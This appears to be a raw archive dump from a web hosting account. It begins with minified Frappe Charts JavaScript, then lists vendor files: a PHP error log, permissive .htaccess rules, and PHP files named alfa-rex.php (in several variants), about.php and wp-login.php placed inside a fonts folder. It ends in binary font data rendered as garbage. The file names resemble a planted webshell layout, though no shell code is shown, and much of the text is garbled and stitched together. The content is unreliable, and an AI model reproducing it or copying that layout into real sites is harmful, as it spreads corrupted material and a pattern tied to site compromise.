0!==arguments[0]&&arguments[0];this.config.isNavigable&&e&&(this.bindOverlay(),this.keyActions={13:this.onEnterKey.bind(this),37:this.onLeftArrow.bind(this),38:this.onUpArrow.bind(this),39:this.onRightArrow.bind(this),40:this.onDownArrow.bind(this)},document.addEventListener("keydown",function(e){i(t.container)&&(e=e||window.event,t.keyActions[e.keyCode]&&t.keyActions[e.keyCode]())}))}},{key:"makeOverlay",value:function(){}},{key:"updateOverlay",value:function(){}},{key:"bindOverlay",value:function(){}},{key:"bindUnits",value:function(){}},{key:"onLeftArrow",value:function(){}},{key:"onRightArrow",value:function(){}},{key:"onUpArrow",value:function(){}},{key:"onDownArrow",value:function(){}},{key:"onEnterKey",value:function(){}},{key:"addDataPoint",value:function(){}},{key:"removeDataPoint",value:function(){}},{key:"getDataPoint",value:function(){}},{key:"setCurrentDataPoint",value:function(){}},{key:"updateDataset",value:function(){}},{key:"export",value:function(){var t=et(this.svg);tt(this.title||"Chart",[t])}}]),e}(),ue=function(t){function e(t,i){return Ot(this,e),St(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,i))}return Et(e,t),Mt(e,[{key:"configure",value:function(t){Nt(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"configure",this).call(this,t),this.config.maxSlices=t.maxSlices||20,this.config.maxLegendPoints=t.maxLegendPoints||20}},{key:"calc",value:function(){var t=this,e=this.state,i=this.config.maxSlices;e.sliceTotals=[];var n=this.data.labels.map(function(e,i){var n=0;return t.data.datasets.map(function(t){n+=t.values[i]}),[n,e]}).filter(function(t){return t[0]>=0}),a=n;if(n.length>i){n.sort(function(t,e){return e[0]-t[0]}),a=n.slice(0,i-1);var s=0;n.slice(i-1).map(function(t){s+=t[0]}),a.push([s,"Rest"]),this.colors[i-1]="grey"}e.labels=[],a.map(function(t){e.sliceTotals.push(t[0]),e.labels.push(t[1])}),e.grandTotal=e.sliceTotals.reduce(function(t,e){return t+e},0),this.center={x:this.width/2,y:this.height/2}}},{key:"renderLegend",value:function(){var t=this,e=this.state;this.legendArea.textContent="",this.legendTotals=e.sliceTotals.slice(0,this.config.maxLegendPoints);var i=0,n=0;this.legendTotals.map(function(a,s){var r=Math.floor((t.width-l(t.measures))/110);i>r&&(i=0,n+=20);var o=N(110*i+5,n,5,t.colors[s],e.labels[s]+": "+a);t.legendArea.appendChild(o),i++})}}]),e}(le),he=7,ce=1e3,de=86400,pe=["January","February","March","April","May","June","July","August","September","October","November","December"],fe=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],ve=function(){function t(e){var i=e.layerClass,n=void 0===i?"":i,a=e.layerTransform,s=void 0===a?"":a,r=e.constants,o=e.getData,l=e.makeElements,u=e.animateElements;Ot(this,t),this.layerTransform=s,this.constants=r,this.makeElements=l,this.getData=o,this.animateElements=u,this.store=[],this.labels=[],this.layerClass=n,this.layerClass="function"==typeof this.layerClass?this.layerClass():this.layerClass,this.refresh()}return Mt(t,[{key:"refresh",value:function(t){this.data=t||this.getData()}},{key:"setup",value:function(t){this.layer=P(this.layerClass,this.layerTransform,t)}},{key:"make",value:function(){this.render(this.data),this.oldData=this.data}},{key:"render",value:function(t){var e=this;this.store=this.makeElements(t),this.layer.textContent="",this.store.forEach(function(t){e.layer.appendChild(t)}),this.labels.forEach(function(t){e.layer.appendChild(t)})}},{key:"update",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.refresh();var e=[];return t&&(e=this.animateElements(this.data)||[]),e}}]),t}(),ge={pieSlices:{layerClass:"pie-slices",makeElements:function(t){return t.sliceStrings.map(function(e,i){var n=C(e,"pie-path","none",t.colors[i]);return n.style.transition="transform .3s;",n})},animateElements:function(t){return this.store.map(function(e,i){return J(e,t.sliceStrings[i])})}},percentageBars:{layerClass:"percentage-bars",makeElements:function(t){var e=this;return t.xPositions.map(function(i,n){return D(i,0,t.widths[n],e.constants.barHeight,e.constants.barDepth,t.colors[n])})},animateElements:function(t){if(t)return[]}},yAxis:{layerClass:"y axis",makeElements:function(t){var e=this;return t.positions.map(function(i,n){return z(i,t.labels[n],e.constants.width,{mode:e.constants.mode,pos:e.constants.pos})})},animateElements:function(t){var e=t.positions,i=t.labels,n=this.oldData.positions,a=this.oldData.labels,s=f(n,e),r=_t(s,2);n=r[0],e=r[1];var o=f(a,i),l=_t(o,2);return a=l[0],i=l[1],this.render({positions:n,labels:i}),this.store.map(function(t,i){return B(t,e[i],n[i])})}},xAxis:{layerClass:"x axis",makeElements:function(t){var e=this;return t.positions.map(function(i,n){return H(i,t.calcLabels[n],e.constants.height,{mode:e.constants.mode,pos:e.constants.pos})})},animateElements:function(t){var e=t.positions,i=t.calcLabels,n=this.oldData.positions,a=this.oldData.calcLabels,s=f(n,e),r=_t(s,2);n=r[0],e=r[1];var o=f(a,i),l=_t(o,2);return a=l[0],i=l[1],this.render({positions:n,calcLabels:i}),this.store.map(function(t,i){return V(t,e[i],n[i])})}},yMarkers:{layerClass:"y-markers",makeElements:function(t){var e=this;return t.map(function(t){return F(t.position,t.label,e.constants.width,{labelPos:t.options.labelPos,mode:"span",lineType:"dashed"})})},animateElements:function(t){var e=f(this.oldData,t),i=_t(e,2);this.oldData=i[0];var n=(t=i[1]).map(function(t){return t.position}),a=t.map(function(t){return t.label}),s=t.map(function(t){return t.options}),r=this.oldData.map(function(t){return t.position});return this.render(r.map(function(t,e){return{position:r[e],label:a[e],options:s[e]}})),this.store.map(function(t,e){return B(t,n[e],r[e])})}},yRegions:{layerClass:"y-regions",makeElements:function(t){var e=this;return t.map(function(t){return j(t.startPos,t.endPos,e.constants.width,t.label,{labelPos:t.options.labelPos})})},animateElements:function(t){var e=f(this.oldData,t),i=_t(e,2);this.oldData=i[0];var n=(t=i[1]).map(function(t){return t.endPos}),a=t.map(function(t){return t.label}),s=t.map(function(t){return t.startPos}),r=t.map(function(t){return t.options}),o=this.oldData.map(function(t){return t.endPos}),l=this.oldData.map(function(t){return t.startPos});this.render(o.map(function(t,e){return{startPos:l[e],endPos:o[e],label:a[e],options:r[e]}}));var u=[];return this.store.map(function(t,e){u=u.concat(U(t,s[e],n[e],o[e]))}),u}},heatDomain:{layerClass:function(){return"heat-domain domain-"+this.constants.index},makeElements:function(t){var e=this,i=this.constants,n=i.index,a=i.colWidth,s=i.rowHeight,r=i.squareSize,o=i.xTranslate,l=0;return this.serializedSubDomains=[],t.cols.map(function(t,i){1===i&&e.labels.push(E("domain-name",o,-12,lt(n,!0).toUpperCase(),{fontSize:9})),t.map(function(t,i){if(t.fill){var n={"data-date":t.yyyyMmDd,"data-value":t.dataValue,"data-day":i},a=O("day",o,l,r,t.fill,n);e.serializedSubDomains.push(a)}l+=s}),l=0,o+=a}),this.serializedSubDomains},animateElements:function(t){if(t)return[]}},barGraph:{layerClass:function(){return"dataset-units dataset-bars dataset-"+this.constants.index},makeElements:function(t){var e=this.constants;return this.unitType="bar",this.units=t.yPositions.map(function(i,n){return W(t.xPositions[n],i,t.barWidth,e.color,t.labels[n],n,t.offsets[n],{zeroLine:t.zeroLine,barsWidth:t.barsWidth,minHeight:e.minHeight})}),this.units},animateElements:function(t){var e=t.xPositions,i=t.yPositions,n=t.offsets,a=t.labels,s=this.oldData.xPositions,r=this.oldData.yPositions,o=this.oldData.offsets,l=this.oldData.labels,u=f(s,e),h=_t(u,2);s=h[0],e=h[1];var c=f(r,i),d=_t(c,2);r=d[0],i=d[1];var p=f(o,n),v=_t(p,2);o=v[0],n=v[1];var g=f(l,a),y=_t(g,2);l=y[0],a=y[1],this.render({xPositions:s,yPositions:r,offsets:o,labels:a,zeroLine:this.oldData.zeroLine,barsWidth:this.oldData.barsWidth,barWidth:this.oldData.barWidth});var m=[];return this.store.map(function(a,s){m=m.concat(G(a,e[s],i[s],t.barWidth,n[s],{zeroLine:t.zeroLine}))}),m}},lineGraph:{layerClass:function(){return"dataset-units dataset-line dataset-"+this.constants.index},makeElements:function(t){var e=this.constants;return this.unitType="dot",this.paths={},e.hideLine||(this.paths=R(t.xPositions,t.yPositions,e.color,{heatline:e.heatline,regionFill:e.regionFill},{svgDefs:e.svgDefs,zeroLine:t.zeroLine})),this.units=[],e.hideDots||(this.units=t.yPositions.map(function(i,n){return I(t.xPositions[n],i,t.radius,e.color,e.valuesOverPoints?t.values[n]:"",n)})),Object.values(this.paths).concat(this.units)},animateElements:function(t){var e=t.xPositions,i=t.yPositions,n=t.values,a=this.oldData.xPositions,s=this.oldData.yPositions,r=this.oldData.values,o=f(a,e),l=_t(o,2);a=l[0],e=l[1];var u=f(s,i),h=_t(u,2);s=h[0],i=h[1];var c=f(r,n),d=_t(c,2);r=d[0],n=d[1],this.render({xPositions:a,yPositions:s,values:n,zeroLine:this.oldData.zeroLine,radius:this.oldData.radius});var p=[];return Object.keys(this.paths).length&&(p=p.concat(X(this.paths,e,i,t.zeroLine))),this.units.length&&this.units.map(function(t,n){p=p.concat(q(t,e[n],i[n]))}),p}}},ye=function(t){function i(t,e){Ot(this,i);var n=St(this,(i.__proto__||Object.getPrototypeOf(i)).call(this,t,e));return n.type="percentage",n.setup(),n}return Et(i,t),Mt(i,[{key:"setMeasures",value:function(t){var e=this.measures;this.barOptions=t.barOptions||{};var i=this.barOptions;i.height=i.height||20,i.depth=i.depth||Wt,e.paddings.right=30,e.legendHeight=80,e.baseHeight=8*(i.height+.5*i.depth)}},{key:"setupComponents",value:function(){var t=this.state,e=[["percentageBars",{barHeight:this.barOptions.height,barDepth:this.barOptions.depth},function(){return{xPositions:t.xPositions,widths:t.widths,colors:this.colors}}.bind(this)]];this.components=new Map(e.map(function(t){var e=dt.apply(void 0,zt(t));return[t[0],e]}))}},{key:"calc",value:function(){var t=this;Nt(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),"calc",this).call(this);var e=this.state;e.xPositions=[],e.widths=[];var n=0;e.sliceTotals.map(function(i){var a=t.width*i/e.grandTotal;e.widths.push(a),e.xPositions.push(n),n+=a})}},{key:"makeDataByIndex",value:function(){}},{key:"bindTooltip",value:function(){var t=this,i=this.state;this.container.addEventListener("mousemove",function(n){var a=t.components.get("percentageBars").store,s=n.target;if(a.includes(s)){var r=a.indexOf(s),o=e(t.container),l=e(s),u=l.left-o.left+parseInt(s.getAttribute("width"))/2,h=l.top-o.top,c=(t.formattedLabels&&t.formattedLabels.length>0?t.formattedLabels[r]:t.state.labels[r])+": ",d=i.sliceTotals[r]/i.grandTotal;t.tip.setValues(u,h,{name:c,value:(100*d).toFixed(1)+"%"}),t.tip.showTip()}})}}]),i}(ue),me=function(t){function i(t,e){Ot(this,i);var n=St(this,(i.__proto__||Object.getPrototypeOf(i)).call(this,t,e));return n.type="pie",n.initTimeout=0,n.init=1,n.setup(),n}return Et(i,t),Mt(i,[{key:"configure",value:function(t){Nt(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),"configure",this).call(this,t),this.mouseMove=this.mouseMove.bind(this),this.mouseLeave=this.mouseLeave.bind(this),this.hoverRadio=t.hoverRadio||.1,this.config.startAngle=t.startAngle||0,this.clockWise=t.clockWise||!1}},{key:"calc",value:function(){var t=this;Nt(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),"calc",this).call(this);var e=this.state;this.radius=this.height>this.width?this.center.x:this.center.y;var n=this.radius,a=this.clockWise,s=e.slicesProperties||[];e.sliceStrings=[],e.slicesProperties=[];var r=180-this.config.startAngle;e.sliceTotals.map(function(i,o){var l=r,u=i/e.grandTotal*360,h=a?-u:u,c=r+=h,p=d(l,n),f=d(c,n),v=t.init&&s[o],g=void 0,y=void 0;t.init?(g=v?v.startPosition:p,y=v?v.endPosition:p):(g=p,y=f);var m=L(g,y,t.center,t.radius,t.clockWise);e.sliceStrings.push(m),e.slicesProperties.push({startPosition:p,endPosition:f,value:i,total:e.grandTotal,startAngle:l,endAngle:c,angle:h})}),this.init=0}},{key:"setupComponents",value:function(){var t=this.state,e=[["pieSlices",{},function(){return{sliceStrings:t.sliceStrings,colors:this.colors}}.bind(this)]];this.components=new Map(e.map(function(t){var e=dt.apply(void 0,zt(t));return[t[0],e]}))}},{key:"calTranslateByAngle",value:function(t){var e=this.radius,i=this.hoverRadio,n=d(t.startAngle+t.angle/2,e);return"translate3d("+n.x*i+"px,"+n.y*i+"px,0)"}},{key:"hoverSlice",value:function(t,i,n,a){if(t){var s=this.colors[i];if(n){$(t,this.calTranslateByAngle(this.state.slicesProperties[i])),t.style.fill=g(s,50);var r=e(this.svg),o=a.pageX-r.left+10,l=a.pageY-r.top-10,u=(this.formatted_labels&&this.formatted_labels.length>0?this.formatted_labels[i]:this.state.labels[i])+": ",h=(100*this.state.sliceTotals[i]/this.state.grandTotal).toFixed(1);this.tip.setValues(o,l,{name:u,value:h+"%"}),this.tip.showTip()}else $(t,"translate3d(0,0,0)"),this.tip.hideTip(),t.style.fill=s}}},{key:"bindTooltip",value:function(){this.container.addEventListener("mousemove",this.mouseMove),this.container.addEventListener("mouseleave",this.mouseLeave)}},{key:"mouseMove",value:function(t){var e=t.target,i=this.components.get("pieSlices").store,n=this.curActiveSliceIndex,a=this.curActiveSlice;if(i.includes(e)){var s=i.indexOf(e);this.hoverSlice(a,n,!1),this.curActiveSlice=e,this.curActiveSliceIndex=s,this.hoverSlice(e,s,!0,t)}else this.mouseLeave()}},{key:"mouseLeave",value:function(){this.hoverSlice(this.curActiveSlice,this.curActiveSliceIndex,!1)}}]),i}(ue),be=function(t){function e(t,i){Ot(this,e);var n=St(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,i));n.type="heatmap",n.countLabel=i.countLabel||"";var a=["Sunday","Monday"],s=a.includes(i.startSubDomain)?i.startSubDomain:"Sunday";return n.startSubDomainIndex=a.indexOf(s),n.setup(),n}return Et(e,t),Mt(e,[{key:"setMeasures",value:function(t){var e=this.measures;this.discreteDomains=0===t.discreteDomains?0:1,e.paddings.top=36,e.paddings.bottom=0,e.legendHeight=24,e.baseHeight=12*he+o(e);var i=this.data,n=this.discreteDomains?12:0;this.independentWidth=12*(st(i.start,i.end)+n)+l(e)}},{key:"updateWidth",value:function(){var t=this.discreteDomains?12:0,e=this.state.noOfWeeks?this.state.noOfWeeks:52;this.baseWidth=12*(e+t)+l(this.measures)}},{key:"prepareData",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.data;if(t.start&&t.end&&t.start>t.end)throw new Error("Start date cannot be greater than end date.");if(t.start||(t.start=new Date,t.start.setFullYear(t.start.getFullYear()-1)),t.end||(t.end=new Date),t.dataPoints=t.dataPoints||{},parseInt(Object.keys(t.dataPoints)[0])>1e5){var e={};Object.keys(t.dataPoints).forEach(function(i){var n=new Date(i*ce);e[nt(n)]=t.dataPoints[i]}),t.dataPoints=e}return t}},{key:"calc",value:function(){var t=this.state;t.start=at(this.data.start),t.end=at(this.data.end),t.firstWeekStart=at(t.start),t.noOfWeeks=st(t.start,t.end),t.distribution=wt(Object.values(this.data.dataPoints),5),t.domainConfigs=this.getDomains()}},{key:"setupComponents",value:function(){var t=this,e=this.state,i=this.discreteDomains?0:1,n=e.domainConfigs.map(function(n,a){return["heatDomain",{index:n.index,colWidth:12,rowHeight:12,squareSize:10,xTranslate:12*e.domainConfigs.filter(function(t,e){return e1&&void 0!==arguments[1]?arguments[1]:"",i=[t.getMonth(),t.getFullYear()],n=i[0],a=i[1],s=ht(t),r={index:n,cols:[]};ct(e=at(e)||ut(n,a),1);for(var o=st(s,e),l=[],u=void 0,h=0;h2&&void 0!==arguments[2]&&arguments[2],n=this.state,a=at(t),s=[],r=0;r=n.start&&a<=n.end;i||a.getMonth()!==e||!l?o.yyyyMmDd=nt(a):o=this.getSubDomainConfig(a),s.push(o)}return s}},{key:"getSubDomainConfig",value:function(t){var e=nt(t),i=this.data.dataPoints[e];return{yyyyMmDd:e,dataValue:i||0,fill:this.colors[At(i,this.state.distribution)]}}}]),e}(le),xe=function(t){function i(t,e){Ot(this,i);var n=St(this,(i.__proto__||Object.getPrototypeOf(i)).call(this,t,e));return n.barOptions=e.barOptions||{},n.lineOptions=e.lineOptions||{},n.type=e.type||"line",n.init=1,n.setup(),n}return Et(i,t),Mt(i,[{key:"setMeasures",value:function(){this.data.datasets.length<=1&&(this.config.showLegend=0,this.measures.paddings.bottom=30)}},{key:"configure",value:function(t){Nt(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),"configure",this).call(this,t),t.axisOptions=t.axisOptions||{},t.tooltipOptions=t.tooltipOptions||{},this.config.xAxisMode=t.axisOptions.xAxisMode||"span",this.config.yAxisMode=t.axisOptions.yAxisMode||"span",this.config.xIsSeries=t.axisOptions.xIsSeries||0,this.config.formatTooltipX=t.tooltipOptions.formatTooltipX,this.config.formatTooltipY=t.tooltipOptions.formatTooltipY,this.config.valuesOverPoints=t.valuesOverPoints}},{key:"prepareData",value:function(){return Pt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.data,this.type)}},{key:"prepareFirstData",value:function(){return Ct(arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.data)}},{key:"calc",value:function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.calcXPositions(),t||this.calcYAxisParameters(this.getAllYValues(),"line"===this.type),this.makeDataByIndex()}},{key:"calcXPositions",value:function(){var t=this.state,e=this.data.labels;t.datasetLength=e.length,t.unitWidth=this.width/t.datasetLength,t.xOffset=t.unitWidth/2,t.xAxis={labels:e,positions:e.map(function(e,i){return u(t.xOffset+i*t.unitWidth)})}}},{key:"calcYAxisParameters",value:function(t){var e=gt(t,arguments.length>1&&void 0!==arguments[1]?arguments[1]:"false"),i=this.height/bt(e),n=mt(e)*i,a=this.height-yt(e)*n;this.state.yAxis={labels:e,positions:e.map(function(t){return a-t*i}),scaleMultiplier:i,zeroLine:a},this.calcDatasetPoints(),this.calcYExtremes(),this.calcYRegions()}},{key:"calcDatasetPoints",value:function(){var t=this.state,e=function(e){return e.map(function(e){return xt(e,t.yAxis)})};t.datasets=this.data.datasets.map(function(t,i){var n=t.values,a=t.cumulativeYs||[];return{name:t.name,index:i,chartType:t.chartType,values:n,yPositions:e(n),cumulativeYs:a,cumulativeYPos:e(a)}})}},{key:"calcYExtremes",value:function(){var t=this.state;if(this.barOptions.stacked)return void(t.yExtremes=t.datasets[t.datasets.length-1].cumulativeYPos);t.yExtremes=new Array(t.datasetLength).fill(9999),t.datasets.map(function(e){e.yPositions.map(function(e,i){es(n)?t.mapTooltipXPosition(o):t.tip.hideTip()})}},{key:"mapTooltipXPosition",value:function(t){var e=this.state;if(e.yExtremes){var i=kt(t,e.xAxis.positions,!0),n=this.dataByIndex[i];this.tip.setValues(n.xPos+this.tip.offset.x,n.yExtreme+this.tip.offset.y,{name:n.formattedLabel,value:""},n.values,i),this.tip.showTip()}}},{key:"renderLegend",value:function(){var t=this,e=this.data;e.datasets.length>1&&(this.legendArea.textContent="",e.datasets.map(function(e,i){var n=M(100*i,"0",100,t.colors[i],e.name);t.legendArea.appendChild(n)}))}},{key:"makeOverlay",value:function(){var t=this;if(this.init)return void(this.init=0);this.overlayGuides&&this.overlayGuides.forEach(function(t){var e=t.overlay;e.parentNode.removeChild(e)}),this.overlayGuides=this.dataUnitComponents.map(function(t){return{type:t.unitType,overlay:void 0,units:t.units}}),void 0===this.state.currentIndex&&(this.state.currentIndex=this.state.datasetLength-1),this.overlayGuides.map(function(e){var i=e.units[t.state.currentIndex];e.overlay=Qt[e.type](i),t.drawArea.appendChild(e.overlay)})}},{key:"updateOverlayGuides",value:function(){this.overlayGuides&&this.overlayGuides.forEach(function(t){var e=t.overlay;e.parentNode.removeChild(e)})}},{key:"bindOverlay",value:function(){var t=this;this.parent.addEventListener("data-select",function(){t.updateOverlay()})}},{key:"bindUnits",value:function(){var t=this;this.dataUnitComponents.map(function(e){e.units.map(function(e){e.addEventListener("click",function(){var i=e.getAttribute("data-point-index");t.setCurrentDataPoint(i)})})}),this.tip.container.addEventListener("click",function(){var e=t.tip.container.getAttribute("data-point-index");t.setCurrentDataPoint(e)})}},{key:"updateOverlay",value:function(){var t=this;this.overlayGuides.map(function(e){var i=e.units[t.state.currentIndex];Zt[e.type](i,e.overlay)})}},{key:"onLeftArrow",value:function(){this.setCurrentDataPoint(this.state.currentIndex-1)}},{key:"onRightArrow",value:function(){this.setCurrentDataPoint(this.state.currentIndex+1)}},{key:"getDataPoint",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.state.currentIndex,e=this.state;return{index:t,label:e.xAxis.labels[t],values:e.datasets.map(function(e){return e.values[t]})}}},{key:"setCurrentDataPoint",value:function(t){var e=this.state;(t=parseInt(t))<0&&(t=0),t>=e.xAxis.labels.length&&(t=e.xAxis.labels.length-1),t!==e.currentIndex&&(e.currentIndex=t,a(this.parent,"data-select",this.getDataPoint()))}},{key:"addDataPoint",value:function(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.state.datasetLength;Nt(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),"addDataPoint",this).call(this,t,e,n),this.data.labels.splice(n,0,t),this.data.datasets.map(function(t,i){t.values.splice(n,0,e[i])}),this.update(this.data)}},{key:"removeDataPoint",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.state.datasetLength-1;this.data.labels.length<=1||(Nt(i.prototype.__proto__||Object.getPrototypeOf(i.prototype),"removeDataPoint",this).call(this,t),this.data.labels.splice(t,1),this.data.datasets.map(function(e){e.values.splice(t,1)}),this.update(this.data))}},{key:"updateDataset",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;this.data.datasets[e].values=t,this.update(this.data)}},{key:"updateDatasets",value:function(t){this.data.datasets.map(function(e,i){t[i]&&(e.values=t[i])}),this.update(this.data)}}]),i}(le),ke={bar:xe,line:xe,percentage:ye,heatmap:be,pie:me},we=function t(e,i){return Ot(this,t),Tt(i.type,e,i)},Ae=Object.freeze({Chart:we,PercentageChart:ye,PieChart:me,Heatmap:be,AxisChart:xe}),Pe={};return Pe.NAME="Frappe Charts",Pe.VERSION="1.1.0",Pe=Object.assign({},Pe,Ae)}(); //# sourceMappingURL=frappe-charts.min.iife.js.map PKZGAk}|-|-vendor/graph/about.phpnu[PKZ@Bvendor/graph/error_lognu[[04-Jul-2025 10:49:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 10:49:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZGAk}|-|-vendor/graph/about.php7nu[PKZ]ddvendor/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-vendor/fonts/alfa-rex.phpnu[PKZ]ddvendor/fonts/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-vendor/fonts/alfa-rex.php7nu[PKZGAk}|-|-vendor/fonts/alfa-rex.php8nu[PKZGAk}|-|-vendor/fonts/wp-login.phpnu[PKZNťť"vendor/fonts/Simple-Line-Icons.svgnu[ PKZGAk}|-|-vendor/fonts/alfa-rex.php56nu[PKZ4==#vendor/fonts/Simple-Line-Icons.woffnu[wOFFOTTO=  tCFF 9KFFTM:{`GDEF:'OS/2; K`VXcmap;XPbUhead;46 )Jhhea; $$hmtx; maxp<Pname<;post= x} \U 'p!C#53@32r̬LP pȌ뵮e53!yʜrѐpBdYjy۽Z Uh柖01%1.41!).4alrRtGѫY>lkck#clcl\l#teb;#EM< AbxN$bX*>qTX\¥yhM@. ԆkOjkcdm6W[]{G{_P[}mr]~'vA]Uiu}fz =D=JGx=Ygoo/o\}_?_]Z_nK/(0KIHK%ޒdaYhyKvn^OӖki6vmaek>iamY_XӭS3׬K[7XZwYXW6vn[w@[Y8[-6ǶĶƶmbob`a==>kRZ\j1q)qXfDrbb[v&II7JOMN7.yb\z\jZ؄iɓ'ƙGSo>ibl`|ظqx^lԆĸqicSBcp&9-}BĸP :f:>KxduAa8:a^61!1n\Bر0Љɓbz縄б18iq1&$ONWTvl|ʤӱ: IxGJjƐ9NK) I) c'bn<@cb1&$&ƅ$n'$NuI5ȓ \q1S0i0ͽq 1;)el@e,eW'$pALI1I$ qƤQ I{9.=419f\8QK6w)x`P*@3!mRJJrjzZ dPwRLbZH1 j'5y,^u' D #p7&&p dILۄ$.Cbq K)qB*?x`T(P25}>"6g 6MUIMM:)%tlB805aB|mg~M2O$K56f";9n\*ihcJL4Nɥ3&p8 Ę m /u^O)3a|B\jN(t JIĄcOQ:(7<%.5؎`4iL04H_Ral]}|߫Eޣ  ~Q=Ԇ> ԆТh}@{|d+_hkϭО^X餍[itYZ">Omj6EmڬXmq-T6nmڂ+ž;Mw_5mmNhоm}my]W6-emcڱBJv]heW곚WsN\~+]uqF'VJK#L$.I'«,^80[.!gSwzHyzU \%۹d=R%0&!S =譙󲃥8_y3lRz%L*&hzmsf}GZ/,"u?ѽ;{gua")IB|zmlm<~6*Iyg|.)5ߕ+5-ruEuZvv0t)k21AuvUN3B57%Hʪ\)?,1abȂAʊB G@)+bϒsܘ6roYBlkrUeh2Ov)muxxAf'^~h :fZ {>Hqq |`H;:[Yo1"/=yƀeɁD8^R5.ɛ#W7A͙(9KW\xjA(0 /+j ų45)rն 0J9bXݱprFSMNTd-Rg0HPfYe:|kfK1sˈl&*rA@rCq ]18Im·Ef;`D繴<'bbm9CށYŁ1֟cG+=.=, l)]\&()) ƒZ{p;`o}QʯZԔ+Afr!C8ҝX9ڱ\KA,wbuKaRA70W?+ i Ě=n/H_}n),+ŋ[kڿϮUץLhIc ,O4N՛Qҹfʍexx: +U0z8{eu/,UؓنEKh"R^@qeivr֖DYGԬD9{BvXVZՂzwY-[C>2{@ߵ?&h{&;3H\R{}c[)EaP np,xyI/j$lE䕫@˧ w*s3!c.Vc dh`H=u+Ttb/.XϗbA@& w8`VJ¿ƽkƥ@מvtfs`My]< y.esc9qws5ĀfRNf kkqIgmYk@ם Qw5uuEV&HD}_! M^}64S'zJ ^[ "t4h~4Ԁ.7M3)40ũ \M\fbjpg3TTw05c*b J!.HefOԸ&T 7a6J|S(^RUʶVO+rQ%[6ħɠ{L)^i>;oF]ɽZs/`Ȯlc$+X 絓ͥ8:VQGRgpي0 Ŧ-![q P*>puєgiސW 8ݖF!S 9t@({s?u8|NgED!RźB9nmÍFjwB "n1ⅧjXY-n7e68Y=a8c),hWگڏ"}D”۲55oRRF@}k?a8xsi@Dr.({'uـr5nD9xI29r0>k0prQfZV tLsgM" "̇w+4Es~r(ul[ ܯz$ 5w*CLڜ^ wQK@WlV'%T(Iۙ4+'hۖ*sMt qԠ6υH@X{O­P1Ԝ'n!R?NZ: BBV3};,6p+s8WN=GgJ~? j v!;Ĭ!\7 h"b P0&pq5ZF|sI3:_eRsj[4Ȇ<|xnKnNi.I50KAٜ; .gO`R"g/b/Q{FhE{hd|"EH,#M6$q?AmVx(iZ%+W~BP:I\H(PuBn9ZGŹxO;`t V+lA"P||$S ֚J*{>ŋc9EgI# _ p9"R,ùoI1siO).r}#ڀA;W$Qm0:"K~p5W\\N>`, D-(}n42ibuEҲ"3\kY*eem}r '|,# ^~@v{Pd:▊Y.z֔Oz%Ǫ6 #B3_< \a'YWء%ht [ӫ8b . ;Nb]GSmM5N[:VՙdB:"9wXL `6xb +dx|J.49FlEQ(P 78Ēvh&Eӥxpݘۢ<}C%;ymE.&S[ +HWmIvq@X^Aڶk5XM6]IN M 8&"Jޅ!^\T׶97{*L{qKMCq3 jX ALʎ`xO9w/}ꍣ[2c=o9w+?@n ~!乫m΁ <FDoo~z0t,x/reH8M|EQ JUtY #ca=#3'cx:bGQd13+1C.-t,0_XhF| 0M,έ5"84>Ȣ[/>7y'P2QD *ߐbܨ60D!LKNسMJ?mE~l/w/jb;V栝|;8<e\W9o) o{AX|8&q/<o 5bc=T{s SAPtQ1)PbՋH Wx-T}'P?':gKmp@mxI V^q@:Ui\[MЉ6 !/ BHI_`քe-ר)[{H ݱ3l9zt:p>0~--eǰ՟`] Ϋt*/)J4f t/OBG!ڮ Ŀ:jyO=DKJ7%'HsN-s9T۷/x)2T[ZX^ZC%6 l VKhۄ{ eUq: %"iبg1P+:ogOxQ ‹~3j8ZNL4 ̻YԨ~?G PQ-Tg _#,Ǝ0Е]Mᄐ Z{r*(/#JǗ*.(Q;.]W-]Y7SW9n-.͙,`U{@6ьTIGf8̛z.[;>+۔u݀Ik-aXBƫ\D9u^J<إ(Qw7COUdWP(900Hq7~-ʘxReK.;J:\Åz5i|! +8.3/mMq+- "iPNq-!)s$iޛCwn`<@ḺHn 4nT}l:,zfp}W3/tc# 